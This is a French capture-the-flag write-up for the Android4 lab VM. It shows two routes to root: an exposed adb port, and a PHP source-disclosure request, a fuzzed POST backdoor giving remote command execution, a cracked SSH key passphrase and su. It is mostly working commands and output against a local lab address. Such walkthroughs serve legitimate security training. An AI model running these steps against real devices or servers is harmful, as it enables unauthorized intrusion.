Le CTF Android4 offrait deux chemins pour parvenir au compte root.
La première (et la plus simple) consiste à faire ce que ferait sans doute un développeur Android.
La seconde requiert un chemin plus classique d’énumération, mais il est plombé par une caractéristique du serveur web utilisé.
Kansas City Shuffle
Une fois la VM mise en place, on peut voir dans la fenêtre VirtualBox un écran qui demande un PIN, comme sur un smartphone.
J’ai lancé un scan Nmap mais comme il prenait beaucoup de temps j’ai fait une simple recherche sur Android dans HackTricks et j’ai trouvé ce que je cherchais :
Ce port est celui qui permet la communication avec la commande adb
.
Sur mon système j’ai installé le paquet android-tools
puis j’ai suivi la procédure décrite sur HackTricks :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ adb connect 192.168.56.231
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.56.231:5555
$ adb root
restarting adbd as root
$ adb shell
uid=0(root) gid=0(root)@x86:/ # id
uid=0(root) gid=0(root)
uid=0(root) gid=0(root)@x86:/ # cd data/root
uid=0(root) gid=0(root)@x86:/data/root # ls
flag.txt
uid=0(root) gid=0(root)@x86:/data/root # cat flag.txt
ANDROID{u_GOT_root_buddy}
La version “Oui, mais j’vois pas comment”
Finalement le scan de ports a terminé :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Nmap scan report for 192.168.56.231
Host is up (0.00033s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
5555/tcp open freeciv?
8080/tcp open http PHP cli server 5.5 or later
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
|_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
22000/tcp open ssh Dropbear sshd 2014.66 (protocol 2.0)
|_vulners: ERROR: Script execution failed (use -d to debug)
On a cette page sur le port 8080 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<head>
<title>Deface by Good Hackers</title>
</head>
<body bgcolor=white>
<table border="0" cellpadding="10">
<tr>
<td>
<h1>Good Hackers ? means</h1>
</td>
</tr><tr>
<td>
<h2>we drop here our backdoor for access </h2>
</td>
</tr>
</table>
<p>If you r Smart Dan find Backdoor access...and safe your machine</p>
<p>we like POST things only.</p>
</body>
</html>
On peut énumérer (très très) longuement et on ne trouvera pas grand-chose de plus :
1
2
200 1l 3w 13c http://192.168.56.231:8080/.htaccess
200 1l 3w 0c http://192.168.56.231:8080/backdoor.php
Vu que PHP cli
est derrière ce port, on peut se servir de la faille de divulgation du code source :
1
2
3
4
5
6
7
8
9
10
11
12
echo -e "GET /backdoor.php HTTP/1.1\r\nHost: pd.research\r\n\r\nGET /xyz.xyz HTTP/1.1\r\n\r\n" | ncat 192.168.56.231 8080 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.231:8080.
HTTP/1.1 200 OK
Host: pd.research
Date: Tue, 06 Jun 2023 09:39:24 +0300
Connection: close
Content-Type: chemical/x-xyz
Content-Length: 18
echo "fake Door";
Ncat: 75 bytes sent, 164 bytes received in 0.92 seconds.
Ok, c’est donc uniquement un troll.
Il y avait pourtant un dossier nommé announce
dans la racine web (/data/media/0/www/public
) que je pouvais voir via mon shell root précédent.
Malheureusement le comportement de PHP cli
fait qu’on ne peut pas trouver via énumération les dossiers qui ne contiennent pas un fichier d’index :
1
2
3
4
5
6
$ curl -s -I http://192.168.56.231:8080/announce | head -1
HTTP/1.1 404 Not Found
$ curl -s -I http://192.168.56.231:8080/announce/ | head -1
HTTP/1.1 404 Not Found
$ curl -s -I http://192.168.56.231:8080/announce/backdoor.php | head -1
HTTP/1.1 200 OK
Supposons qu’on avait un moyen de trouver ce dossier announce
, on aurait alors trouvé le second script backdoor.php
qui est plus bavard :
Warning: system(): Cannot execute a blank command in /storage/emulated/0/www/public/announce/backdoor.php on line 1
On aurait brute forcé les paramètres en POST :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -u "http://192.168.56.231:8080/announce/backdoor.php" -w wordlists/common_query_parameter_names.txt -X POST -d "FUZZ=id" -H "Content-type: application/x-www-form-urlencoded" -t 5 -fs 1376
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : POST
:: URL : http://192.168.56.231:8080/announce/backdoor.php
:: Wordlist : FUZZ: wordlists/common_query_parameter_names.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : FUZZ=id
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 1376
________________________________________________
secret [Status: 200, Size: 115, Words: 3, Lines: 2]
Et on aurait obtenu notre RCE :
1
2
curl -s -XPOST -d "secret=id" http://192.168.56.231:8080/announce/backdoor.php
uid=10070(u0_a70) gid=10070(u0_a70) groups=1015(sdcard_rw),1023(media_rw),1028(sdcard_r),3003(inet),50070(all_a70)
En fouillant un peu on aurait trouvé un dossier secret :
1
2
3
4
5
6
7
8
curl -s -XPOST -d "secret=ls+-al+.." http://192.168.56.231:8080/announce/backdoor.php
-rw-rw---- root sdcard_r 13 2017-12-10 20:06 .htaccess
drwxrwx--- root sdcard_r 2018-04-04 00:29 announce
-rw-rw---- root sdcard_r 18 2018-04-04 13:50 backdoor.php
drwxrwx--- root sdcard_r 2018-04-04 18:38 backup
drwxrwx--- root sdcard_r 2018-04-04 18:37 hello
-rw-rw---- root sdcard_r 461 2018-04-04 13:50 index.html
drwxrwx--- root sdcard_r 2018-04-04 00:31 secret22000
Et via JtR
on aurait cassé la passphrase de la clé SSH touhid.key
présente dans secret22000
.
1
2
3
4
5
6
7
8
9
$ john --wordlist=wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
qwerty (/tmp/touhid.key)
Session completed.
On aurait alors un shell interactif :
1
2
3
4
$ ssh -p 22000 -i touhid.key -o PubkeyAcceptedKeyTypes=ssh-rsa root@192.168.56.231
Enter passphrase for key 'touhid.key':
user@x86:/storage/emulated/legacy/ssh $ id
uid=10068(u0_a68) gid=10068(u0_a68) groups=1015(sdcard_rw),1023(media_rw),1028(sdcard_r),3003(inet),50068(all_a68)
Et on serait passé root, sans mot de passe (je suppose que c’est le comportement par défaut d’Android) :
1
2
3
user@x86:/ $ su
uid=0(root) gid=0(root)@x86:/ # id
uid=0(root) gid=0(root)